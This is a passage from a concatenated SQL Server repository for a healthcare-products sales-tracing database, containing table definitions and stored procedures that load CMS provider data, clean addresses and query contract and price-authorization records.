( ltrim(rtrim(c.[CMPNY_NM])) LIKE '%'+ISNULL(@CO_NM,[CMPNY_NM])+'%'
or ltrim(rtrim(c.[CMPNY_ALT_NM])) like '%'+ISNULL(@CO_NM,[CMPNY_ALT_NM])+'%')
and ltrim(rtrim(c.[CMPNY_ADDR_1])) LIKE '%'+ISNULL(@CO_ADDR,[CMPNY_ADDR_1])+'%'
and ltrim(rtrim(c.[CMPNY_CITY])) LIKE '%'+ISNULL(@CO_CITY,[CMPNY_CITY])+'%'
and ltrim(rtrim(c.[CMPNY_ST])) LIKE '%'+ISNULL(@CO_ST,[CMPNY_ST])+'%'
and ltrim(rtrim(c.[CMPNY_ZIP])) LIKE '%'+ISNULL(@CO_ZIP,[CMPNY_ZIP])+'%'
-- SET @MSG = '';
END<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spLOAD_CMS_DATA.sql
CREATE PROCEDURE [STAGE].[spLOAD_CMS_DATA]
WITH EXEC AS CALLER
AS
BEGIN
-- EMPTY THE TABLE
TRUNCATE TABLE MDM_STAGE.CMS_COMPANY
DELETE FROM STAGE.CMS_DATALOAD
WHERE [Entity Type Code] IS NULL;
INSERT INTO MDM_STAGE.CMS_COMPANY
( SRC_CMPNY_ID, CMPNY_NM, CMPNY_ALT_NM, ALT_NM_TYP, CMPNY_ADDR_1, CMPNY_ADDR_2, CMPNY_CITY, CMPNY_ST, CMPNY_ZIP, CMPNY_CNTRY, CMPNY_TYP_ID, REC_EFF_DT, NPI_NR)
SELECT
NPI,
[Provider Organization Name (Legal Business Name)] AS CMPNY_NM,
[Provider Other Organization Name] AS CMPNY_ALT_NM,
[Provider Other Organization Name Type Code],
[Provider First Line Business Practice Location Address],
[Provider Second Line Business Practice Location Address],
[Provider Business Practice Location Address City Name],
[Provider Business Practice Location Address State Name],
LEFT([Provider Business Practice Location Address Postal Code],5) CMPNY_ZIP,
[Provider Business Practice Location Address Country Code (If outside U.S.)] ,
[Entity Type Code], [Last Update Date],
NPI
FROM STAGE.CMS_DATALOAD
WHERE [Entity Type Code] = '2'
AND LEN([Provider Business Practice Location Address State Name]) = 2
AND [Provider Business Practice Location Address Postal Code] is not null;
INSERT INTO MDM_STAGE.CMS_COMPANY
( SRC_CMPNY_ID, CMPNY_NM, CMPNY_ADDR_1, CMPNY_ADDR_2, CMPNY_CITY, CMPNY_ST, CMPNY_ZIP, CMPNY_CNTRY, CMPNY_TYP_ID, LAST_NAME, FIRST_NAME,
MIDDLE_NAME, MI,
SUFFIX, REC_EFF_DT, NPI_NR)
SELECT --TOP 100
NPI,
[Provider First Name] +' '+[Provider Last Name (Legal Name)] AS CMPNY_NM,
[Provider First Line Business Practice Location Address] as CMPNY_ADDR_1,
[Provider Second Line Business Practice Location Address] as CMPNY_ADDR_2,
[Provider Business Practice Location Address City Name] CMPNY_CITY,
[Provider Business Practice Location Address State Name] CMPNY_ST,
LEFT([Provider Business Practice Location Address Postal Code],5) CMPNY_ZIP,
[Provider Business Practice Location Address Country Code (If outside U.S.)] CMPNY_CNTRY,
[Entity Type Code] CMPNY_TYP_ID, [Provider Last Name (Legal Name)], [Provider First Name],
[Provider Middle Name], LEFT([Provider Middle Name], 1) MI,
[Provider Credential Text] SUFFIX,
[Last Update Date], NPI
FROM STAGE.CMS_DATALOAD
WHERE [Entity Type Code] = '1'
AND LEN([Provider Business Practice Location Address State Name]) = 2
AND [Provider Business Practice Location Address Postal Code] is not null
AND [Provider Last Name (Legal Name)] NOT LIKE '%,%';
-- LATER TO CREATE ALTERNATE NAME
--[Provider First Name] +' '+ (CASE WHEN [Provider Middle Name] IS NOT NULL THEN [Provider Middle Name]+' ' ELSE '' END)+ [Provider Last Name (Legal Name)] AS CMPNY_ALT_NM,
--'M.I.',
--- ADDRESS CLEAN --
INSERT INTO MDM_STAGE.TEMP_ADDR ( SRC_ID, ADDR_1, ADDR_2)
SELECT SRC_CMPNY_ID, CMPNY_ADDR_1, CMPNY_ADDR_2
FROM MDM_STAGE.CMS_COMPANY;
select max(len(CMPNY_ADDR_1)) from MDM_STAGE.CMS_COMPANY
EXEC [STAGE].[spADDR_LAUNDRY];
TRUNCATE TABLE MDM_STAGE.CMS_ADDR_PARTS;
INSERT INTO MDM_STAGE.CMS_ADDR_PARTS (
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2 )
SELECT
SRC_ID, ST_NR, ST_NM, ST_TYP, ST_DIR, ST_NR_2, BLDG_NR, FL_NR, STE_NR, DIR_1, ADDR_1, ADDR_2
FROM MDM_STAGE.TEMP_ADDR_PARTS
;
UPDATE C
SET CMPNY_ADDR_1 = A.ADDR_1, CMPNY_ADDR_2 = A.ADDR_2
FROM MDM_STAGE.CMS_COMPANY C
JOIN MDM_STAGE.TEMP_ADDR_PARTS A ON C.SRC_CMPNY_ID = A.SRC_ID;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR_PARTS;
TRUNCATE TABLE MDM_STAGE.TEMP_ADDR;
UPDATE C SET
C.CMPNY_CITY = Z.City
from MDM_STAGE.CMS_COMPANY C
JOIN REF.ZIP_CODE Z ON C.CMPNY_ZIP = Z.Zipcode
WHERE Z.LocationType = 'PRIMARY'
AND Z.City <> C.CMPNY_CITY;
END;<file_sep>/PDI_SALESTRACING_DEV/MDM_STAGE/Tables/CMPNY_MATCH_XREF.sql
CREATE TABLE [MDM_STAGE].[CMPNY_MATCH_XREF] (
[CMPNY_MATCH_XREF_ID] INT IDENTITY (1, 1) NOT NULL,
[SRC_TYP] VARCHAR (10) NULL,
[SRC_ID] VARCHAR (10) NULL,
[SRC_NM] VARCHAR (50) NULL,
[SRC_ACCT_ID] VARCHAR (10) NULL,
[SRC_DATA_ID] INT NULL,
[MTCH_To_TYPE] VARCHAR (10) NULL,
[MTCH_To_ID] INT NULL,
[MTCH_To_CMPNY_NM] VARCHAR (150) NULL,
[MTCH_To_CMPNY_ADDR_1] VARCHAR (150) NULL,
[MTCH_To_CMPNY_ADDR_2] VARCHAR (100) NULL,
[MTCH_To_CMPNY_CITY] VARCHAR (100) NULL,
[MTCH_To_CMPNY_STATE] CHAR (2) NULL,
[MTCH_To_CMPNY_ZIP] VARCHAR (10) NULL,
[UNMATCH_REASON] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_ASC_Affiliations.sql
CREATE TABLE [STAGE].[PDI_ASC_Affiliations] (
[HOSPITAL_ID] INT NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ID] INT NULL,
[AFFILIATED_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_FIRM_TYPE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ADDRESS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ADDRESS1] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_CITY] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_STATE] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ZIP_CODE] INT NULL,
[AFFILIATED_ACCOUNT_NETWORK_ID] INT NULL,
[AFFILIATED_ACCOUNT_NETWORK_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NPI] INT NULL,
[AFFILIATED_ACCOUNT_PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ASC_TOTAL_CHARGES] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_ASC_NUMBER_CLAIMS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_NUMBER_HOSPITALS] INT NULL,
[AFFILIATED_ACCOUNT_TOTAL_CHARGES] FLOAT (53) NULL,
[AFFILIATED_ACCOUNT_NET_PATIENT_REVENUE] FLOAT (53) NULL,
[AFFILIATED_ACCOUNT_HOSPITAL_OWNERSHIP] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_FINANCIAL_DATA_DATE] DATETIME2 (7) NULL,
[AFFILIATED_ACCOUNT_NUMBER_BEDS] INT NULL,
[AFFILIATED_ACCOUNT_NUMBER_AFFILIATED_PHYSICIANS] INT NULL,
[AFFILIATED_ACCOUNT_NUMBER_AFFILIATED_PHYSICIANS_PHYSICIAN_GROUP] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_HHA_TOTAL_VISITS] VARCHAR (MAX) NULL,
[AFFILIATED_ACCOUNT_HOSPICE_TOTAL_MEDICARE_CLAIMS] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TRC_ENDUSER_3K.sql
CREATE TABLE [STAGE].[TRC_ENDUSER_3K] (
[TRC_ENDUSER_1_ID] INT IDENTITY (1, 1) NOT NULL,
[DISTCOID] VARCHAR (20) NULL,
[DISTID] VARCHAR (8) NULL,
[DISTACCTID] VARCHAR (20) NULL,
[DISTACCTSHIPNAME] VARCHAR (255) NULL,
[DISTACCTSHIPADDR1] VARCHAR (50) NULL,
[DISTACCTSHIPADDR2] VARCHAR (50) NULL,
[DISTACCTSHIPCITY] VARCHAR (50) NULL,
[DISTACCTSHIPSTATE] VARCHAR (2) NULL,
[DISTACCTSHIPZIP] VARCHAR (10) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL,
[SALES_SUM] NUMERIC (38, 2) NULL,
[ISSUE] VARCHAR (40) NULL,
[UPD_ADDR1] VARCHAR (250) NULL,
[UPD_ADDR2] VARCHAR (250) NULL,
[ST_NR] SMALLINT NULL,
[ST_NM] VARCHAR (100) NULL,
[ST_TYP] VARCHAR (50) NULL,
[ADRR2_TYP] VARCHAR (40) NULL,
[ADRR2_NR] VARCHAR (20) NULL,
[Cleanse_Flag] CHAR (1) NULL,
[Match_by_Addr] SMALLINT NULL,
[Match_by_MAX] SMALLINT NULL,
[Match_by_DQS_NM] SMALLINT NULL,
[Match_by_DQS_Addr] SMALLINT NULL,
[COMPANY_ID_MAX] INT NULL,
[COMPANY_ID] INT NULL,
[UPD_NAME] VARCHAR (255) NULL,
[PROPER_NM] VARCHAR (200) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGetPriceAuthCntByBuyerGrpid.sql
-- =============================================
-- Author: <Author,,Name>
-- Create date: <Create Date,,>
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE [CNT].[spGetPriceAuthCntByBuyerGrpid]
@buyerGroupId INT
AS
BEGIN
SELECT DISTINCT
P.MFG_CNT_NR + ' - ' + c.CNT_TIER_LVL AS MFG_CNT_NR
FROM [SNDBX].[PRC_AUTH_EB] P
JOIN [CNT].[CONTRACT] C ON C.CNT_NR = P.MFG_CNT_NR
AND C.REC_STAT_CD = 'A'
WHERE PRC_AUTH_STAT_CD = 'P'
AND C.BUYER_GRP_ID = @buyerGroupId;
END;<file_sep>/PDI_SALESTRACING_DEV/MDM_STAGE/Tables/CMS_COMPANY.sql
CREATE TABLE [MDM_STAGE].[CMS_COMPANY] (
[STAGE_CMS_CMPNY_ID] INT IDENTITY (1, 1) NOT NULL,
[SRC_CMPNY_ID] INT NULL,
[CMPNY_NM] VARCHAR (255) NOT NULL,
[CMPNY_ALT_NM] VARCHAR (255) NULL,
[ALT_NM_TYP] VARCHAR (20) NULL,
[CMPNY_ADDR_1] VARCHAR (255) NULL,
[CMPNY_ADDR_2] VARCHAR (255) NULL,
[CMPNY_CITY] VARCHAR (255) NULL,
[CMPNY_ST] CHAR (2) NULL,
[CMPNY_ZIP] VARCHAR (10) NOT NULL,
[CMPNY_CNTRY] CHAR (3) NULL,
[CMPNY_TYP_ID] SMALLINT NULL,
[NPI_NR] VARCHAR (50) NULL,
[SUFFIX] VARCHAR (20) NULL,
[REC_EFF_DT] DATE NULL,
[ACT_IN] CHAR (1) NULL,
[MI] CHAR (1) NULL,
[MIDDLE_NAME] VARCHAR (50) NULL,
[LAST_NAME] VARCHAR (50) NULL,
[FIRST_NAME] VARCHAR (50) NULL,
[STAT_CD] TINYINT NULL,
[ST_NM] VARCHAR (255) NULL,
[DIR] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/TEMP_DDI_MEDLINE_CORRECTION.sql
CREATE TABLE [STG0].[TEMP_DDI_MEDLINE_CORRECTION] (
[SALES_PERIOD] VARCHAR (10) NULL,
[INV_ID] VARCHAR (MAX) NULL,
[INV_DT] VARCHAR (MAX) NULL,
[INV_DT_NR] VARCHAR (MAX) NULL,
[TRC_UNIT] VARCHAR (MAX) NULL,
[TRC_QTY_SLD] VARCHAR (MAX) NULL,
[TRC_CNT_PRC] VARCHAR (MAX) NULL,
[TRC_LIST_PRC] VARCHAR (MAX) NULL,
[TRC_DIST_PRC] VARCHAR (MAX) NULL,
[TRC_EXT_LIST_COST] VARCHAR (MAX) NULL,
[TRC_EXT_DIST_COST] INT NULL,
[TRC_EXT_CNT_COST] VARCHAR (MAX) NULL,
[TRC_RBT_AMT] VARCHAR (MAX) NULL,
[LINE_NR] VARCHAR (MAX) NULL,
[SHPTO_ID] VARCHAR (MAX) NULL,
[SHPTO_NM] VARCHAR (MAX) NULL,
[SHPTO_ADDR_1] VARCHAR (MAX) NULL,
[SHPTO_ADDR_2] VARCHAR (MAX) NULL,
[SHPTO_CITY] VARCHAR (MAX) NULL,
[SHPTO_ST] VARCHAR (MAX) NULL,
[SHPTO_ZIP] VARCHAR (MAX) NULL,
[TRC_SALES_AMT] DECIMAL (38, 8) NULL,
[TRC_EXT_RBT_AMT] VARCHAR (MAX) NULL,
[TRC_PROD_DESC] VARCHAR (MAX) NULL,
[LOAD_IN] CHAR (1) NULL,
[CH_DIST_ID] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spDSPLY_PND_CNT_XFER.sql
CREATE PROCEDURE [CNT].[spDSPLY_PND_CNT_XFER]
WITH EXEC AS CALLER
AS
BEGIN
SELECT DISTINCT C.CNT_UPD_TYP, C.CNT_NR, P.PROD_ID
FROM [CNT].[CONTRACT_TST] C
JOIN [STAGE].[TEMP_NEW_CONT] T ON C.CNT_NR = T.CNT_NR AND T.SRC_REC_LST_MOD_DT = C.SRC_REC_LST_MOD_DT
JOIN CNT.CNT_PROD_TST P ON P.CNT_NR = C.CNT_NR
WHERE C.REC_STAT_CD = 'A' AND P.REC_STAT_CD = 'A'
UNION ALL
SELECT DISTINCT C.CNT_UPD_TYP, C.CNT_NR, 'ALL'
FROM [CNT].[CONTRACT_TST] C
JOIN [STAGE].[TEMP_UPDT_CONT_DT] T ON C.CNT_NR = T.CNT_NR AND T.SRC_REC_LST_MOD_DT = C.SRC_REC_LST_MOD_DT
AND C.REC_STAT_CD = 'A'
UNION ALL
SELECT DISTINCT C.CNT_UPD_TYP, C.CNT_NR, T.ITM_NR
FROM [CNT].[CONTRACT_TST] C
JOIN [STAGE].[TEMP_NEW_ITEM_EXIST_CONT] T ON C.CNT_NR = T.CNT_NR AND T.SRCE_REC_MOD_DT_NR = C.SRC_REC_LST_MOD_DT
AND C.REC_STAT_CD = 'A'
UNION ALL
SELECT DISTINCT C.CNT_UPD_TYP, C.CNT_NR, T.ITM_NR
FROM [CNT].[CONTRACT_TST] C
JOIN [STAGE].[TEMP_UPD_ITEM] T ON C.CNT_NR = T.CNT_NR AND T.SRCE_REC_MOD_DT_NR = C.SRC_REC_LST_MOD_DT
AND C.REC_STAT_CD = 'A'
END<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_RELATIONSHIP_FILE.sql
CREATE TABLE [STG0].[PDI_RELATIONSHIP_FILE] (
[COMAPNY_ID] VARCHAR (MAX) NULL,
[PARENTCOMPANYID] VARCHAR (MAX) NULL,
[RELATIONSHIPTYPE] VARCHAR (MAX) NULL,
[PARENTIDCOUNT] VARCHAR (MAX) NULL,
[DISTANCETOCHILD] VARCHAR (MAX) NULL,
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/EUM/Tables/DDS_MAX_XREF.sql
CREATE TABLE [EUM].[DDS_MAX_XREF] (
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/VT_TEST/Tables/VT_CO_DIST_XREF.sql
CREATE TABLE [VT_TEST].[VT_CO_DIST_XREF] (
[COACCTID] VARCHAR (20) NULL,
[DISTACCTID] VARCHAR (20) NULL,
[DISTACCTSHIPZIP] VARCHAR (10) NULL,
[SLS_AMT] NUMERIC (38, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/MDM/Stored Procedures/spTRC_GET_CO_USR_FEEDBK.sql
CREATE PROCEDURE [MDM].[spTRC_GET_CO_USR_FEEDBK]
@TERR_ID varchar(10), @RSTATUS varchar(20)
WITH EXEC AS CALLER
AS
BEGIN
SELECT TOP 100 C.USER_FEEDBK_CO_ID,
C.COACCTSHIPNAME_Source,
C.COACCTSHIPADDR1_Source, C.COACCTSHIPADDR2_Source,
C.COACCTSHIPCITY_Source, C.COACCTSHIPSTATE_Source,
C.COACCTSHIPZIP_Source,
C.COACCTSHIPNAME_Output, C.COACCTSHIPADDR1_Output,
C.COACCTSHIPADDR2_Output, C.COACCTSHIPCITY_Output,
C.COACCTSHIPSTATE_Output, C.COACCTSHIPZIP_Output
FROM
PDI_SALESTRACING_DEV.[CMPNY].[USR_FEEDBK_CO] C--change by krunal
WHERE C.USR_FEEDBK_CD IS NULL
AND C.Record_Status = ISNULL(@RSTATUS,C.Record_Status)
AND C.TERR_ID = ISNULL(@TERR_ID,C.TERR_ID)
END<file_sep>/PDI_SALESTRACING_DEV/MDM/Stored Procedures/spDISPLAY_TERR.sql
CREATE PROCEDURE [MDM].[spDISPLAY_TERR]
WITH EXEC AS CALLER
AS
BEGIN
SELECT DISTINCT T.TERRITORY_ID, T.TERRITORY_NAME
FROM STAGE.DIM_TERRITORY T
WHERE T.CURRENT_INDICATOR_YN = 'Y'
AND T.TERRITORY_ID NOT IN ('0', '999')
ORDER BY 2
END<file_sep>/PDI_SALESTRACING_DEV/Security/CNT.sql
CREATE SCHEMA [CNT]
AUTHORIZATION [NICEPAK\htarafder];
<file_sep>/PDI_SALESTRACING_DEV/EDI/Tables/EDI_TRNSFR_CNTRL_TABLE_TST.sql
CREATE TABLE [EDI].[EDI_TRNSFR_CNTRL_TABLE_TST] (
[EDI_TRNSFR_CNTRL_ID_PK] INT IDENTITY (1, 1) NOT NULL,
[TRNSFR_ID] INT NULL,
[TRNSFR_DTE] DECIMAL (8) NOT NULL,
[EDI_NR] VARCHAR (10) NOT NULL,
[NOTFN_PRPS_CD] CHAR (2) NOT NULL,
[SENDER_ID] VARCHAR (20) NOT NULL,
[SENDER_NM] VARCHAR (20) NULL,
[RCVR_ID] VARCHAR (20) NULL,
[RCVR_NM] VARCHAR (40) NULL,
[EDI_TYPE] CHAR (3) NULL,
[TRNSFR_STAT] CHAR (1) NULL,
[EDI_FILE_NM] VARCHAR (60) NULL,
[TRNSFR_TYP_CD] CHAR (3) NULL,
[TOT_REC_NR] INT NULL,
[Current Timestamp] DATETIME NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CONT/Tables/COMM_RESP.sql
CREATE TABLE [CONT].[COMM_RESP] (
[COMM_RESP_ID] INT IDENTITY (1, 1) NOT NULL,
[COMM_ID_FK] INT NOT NULL,
[RESP] VARCHAR (4000) NULL,
[RESP_DTTS] DATE NULL,
[RESP_USER_ID_FK] INT NULL,
[RESP_USER_ID] VARCHAR (100) NULL,
[RESP_BY_USER_ID] VARCHAR (100) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PRC_AUTH_HIST.sql
CREATE TABLE [STAGE].[PRC_AUTH_HIST] (
[PRC_AUTH_ID] INT IDENTITY (1, 1) NOT NULL,
[GPO_NM] VARCHAR (15) NULL,
[GPO_MBR_ID] VARCHAR (15) NULL,
[GPO_MBR_NM] VARCHAR (250) NULL,
[GPO_MBR_ADDR1] VARCHAR (250) NULL,
[GPO_MBR_ADDR2] VARCHAR (250) NULL,
[GPO_MBR_CITY] VARCHAR (50) NULL,
[GPO_MBR_ST] VARCHAR (50) NULL,
[GPO_MBR_ZIP] VARCHAR (5) NULL,
[GPO_CNT_NR] VARCHAR (15) NULL,
[MFG_CNT_NR] VARCHAR (15) NULL,
[TIER_NR] INT NULL,
[TIER_DESC] VARCHAR (250) NULL,
[PRC_EFF_DT] DATE NULL,
[PRC_EXP_DT] DATE NULL,
[IDN_NM] VARCHAR (250) NULL,
[DIST_NM_1] VARCHAR (250) NULL,
[DIST_NM_2] VARCHAR (250) NULL,
[PRC_ACT_NR] VARCHAR (50) NULL,
[LIC_NR] VARCHAR (10) NULL,
[PRC_ACT_DT] DATE NULL,
[STATUS] VARCHAR (20) NULL,
[SRC_REC_ID] VARCHAR (15) NULL,
[DEA] VARCHAR (50) NULL,
[GLN] VARCHAR (50) NULL,
[HIN] VARCHAR (50) NULL,
[SEGMENT] VARCHAR (50) NULL,
[REC_STAT] CHAR (1) DEFAULT ('A') NULL,
[REC_EFF_DT] AS ([PRC_EFF_DT]),
[REC_EXP_DT] AS ([PRC_EXP_DT]),
[CURRENT_TIMESTAMP] DATETIME NULL,
[PRC_STAT_CD] CHAR (1) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/CNT_ITM_CURR_VOL_TEMP.sql
CREATE TABLE [STAGE].[CNT_ITM_CURR_VOL_TEMP] (
[CNT_NR] VARCHAR (20) NOT NULL,
[ITM_NR] VARCHAR (20) NOT NULL,
[CUR_VOL] NUMERIC (38, 8) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/USR_FEEDBK_CO.sql
CREATE TABLE [CMPNY].[USR_FEEDBK_CO] (
[Record_Status] NVARCHAR (MAX) NULL,
[COACCTID_Output] NVARCHAR (MAX) NULL,
[COACCTSHIPNAME_Source] VARCHAR (100) NULL,
[COACCTSHIPADDR1_Source] VARCHAR (100) NULL,
[COACCTSHIPADDR2_Source] VARCHAR (50) NULL,
[COACCTSHIPCITY_Source] VARCHAR (100) NULL,
[COACCTSHIPSTATE_Source] VARCHAR (2) NULL,
[COACCTSHIPZIP_Source] VARCHAR (10) NULL,
[COACCTSHIPNAME_Output] NVARCHAR (MAX) NULL,
[COACCTSHIPADDR1_Output] NVARCHAR (MAX) NULL,
[COACCTSHIPADDR2_Output] NVARCHAR (MAX) NULL,
[COACCTSHIPZIP_Output] NVARCHAR (MAX) NULL,
[COACCTSHIPCITY_Output] NVARCHAR (MAX) NULL,
[COACCTSHIPSTATE_Output] NVARCHAR (MAX) NULL,
[USR_FEEDBK_CD] CHAR (1) NULL,
[TERR_ID] NVARCHAR (10) NULL,
[TERR_NM] NVARCHAR (24) NULL,
[USER_FEEDBK_CO_ID] INT IDENTITY (500001, 1) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/SALES_PERIOD_ADMIN.sql
CREATE TABLE [STAGE].[SALES_PERIOD_ADMIN] (
[SLS_PERIOD_TYP] VARCHAR (20) NULL,
[SLS_PERIOD] INT NULL,
[EFF_DT] DATE NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_LAUNDRY_STG1.sql
CREATE TABLE [STAGE].[TEMP_LAUNDRY_STG1] (
[ID] INT IDENTITY (1, 1) NOT NULL,
[SRCE_DATA_ID] INT NOT NULL,
[UPD_NM] VARCHAR (255) NULL,
[UPD_ADDR1] VARCHAR (250) NULL,
[UPD_ADDR2] VARCHAR (250) NULL,
[ST_NR_1] VARCHAR (100) NULL,
[ST_NM_1] VARCHAR (100) NULL,
[ST_TYP_1] VARCHAR (50) NULL,
[ADRR2_TYP] VARCHAR (40) NULL,
[ADRR2_NR] VARCHAR (20) NULL,
[ADDR1_STAT_CD] TINYINT NULL,
[ADDR2_STAT_CD] TINYINT NULL,
[ST_NR_2] VARCHAR (250) NULL,
[ST_NM_2] VARCHAR (250) NULL,
[ST_TYP_2] VARCHAR (250) NULL,
[ADDR_2_CNDT] VARCHAR (250) NULL,
[ADDR_SRCE] SMALLINT NULL,
[COMPANY_ID] INT NULL,
[ADDR_SRC_CNFD] SMALLINT NULL,
[ST_1] VARCHAR (250) NULL,
[ST_2] VARCHAR (250) NULL,
[ADDR1] VARCHAR (255) NULL,
[ADDR2] VARCHAR (255) NULL,
[SUFFIX] VARCHAR (255) NULL,
[CITY] VARCHAR (100) NULL,
[STATE] CHAR (2) NULL,
[ZIP] VARCHAR (10) NULL,
[SUFFIX_VLD_IN] CHAR (1) NULL,
[ORIG_NM] VARCHAR (255) NULL,
[MTCH_NM] VARCHAR (255) NULL,
[ALT_NM] VARCHAR (150) NULL,
[NM_STAT_CD] TINYINT NULL,
[ALT_ADDR1] VARCHAR (100) NULL,
[ADDR3] VARCHAR (50) NULL,
[DIRECTION] NVARCHAR (10) NULL,
[WILD_COL] VARCHAR (255) NULL,
[ADRR3_TYP] VARCHAR (40) NULL,
[ADRR3_NR] VARCHAR (20) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_LTC_SNF_Overview.sql
CREATE TABLE [STG0].[PDI_LTC_SNF_Overview] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_LATITUDE] VARCHAR (MAX) NULL,
[HQ_LONGITUDE] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_ID] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_NAME] VARCHAR (MAX) NULL,
[PG_PARENT_ID] VARCHAR (MAX) NULL,
[CBSA_CODE] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] VARCHAR (MAX) NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[NUMBER_BEDS] VARCHAR (MAX) NULL,
[FINANCIAL_DATA_DATE] VARCHAR (MAX) NULL,
[DATE_FISCAL_YEAR_END] VARCHAR (MAX) NULL,
[NUMBER_BEDS_MEDICARE] VARCHAR (MAX) NULL,
[HOSPITAL_OWNERSHIP] VARCHAR (MAX) NULL,
[SNF_CERTIFICATION] VARCHAR (MAX) NULL,
[SNF_CERTIFICATION_DATE] VARCHAR (MAX) NULL,
[NUMBER_HOSPITALS] VARCHAR (MAX) NULL,
[BPCI_MODEL] VARCHAR (MAX) NULL,
[COMPANY_STATUS] VARCHAR (MAX) NULL,
[ACO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[GPO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[HIE_AFFILIATIONS] VARCHAR (MAX) NULL,
[CIN_AFFILIATIONS] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/dbo/Stored Procedures/family_tree.sql
-- =============================================
-- Author: Keyur
-- Create date: 04/03/2019
-- Description: <Description,,>
-- =============================================
CREATE PROCEDURE dbo.family_tree
AS
BEGIN
SET NOCOUNT ON;
select * from CMPNY.COMPANY c left join CMPNY.COMPANY prn on c.IDN_SRC_ID = prn.IDN_PRNT_SRC_ID
left join CMPNY.COMPANY net_prn on prn.IDN_PRNT_SRC_ID = net_prn.IDN_CMPNY_ID
left join CMPNY.COMPANY net_sib on net_prn.IDN_CMPNY_ID =net_sib.CMPNY_PRNT_ID
where c.CMPNY_NM = 'Long Island Jewish Home Care'
END<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/test_2.sql
CREATE TABLE [STG0].[test_2] (
[CMPNY_ID] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_Hospitals_Overview.sql
CREATE TABLE [STG0].[PDI_Hospitals_Overview] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HOSPITAL_TYPE] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
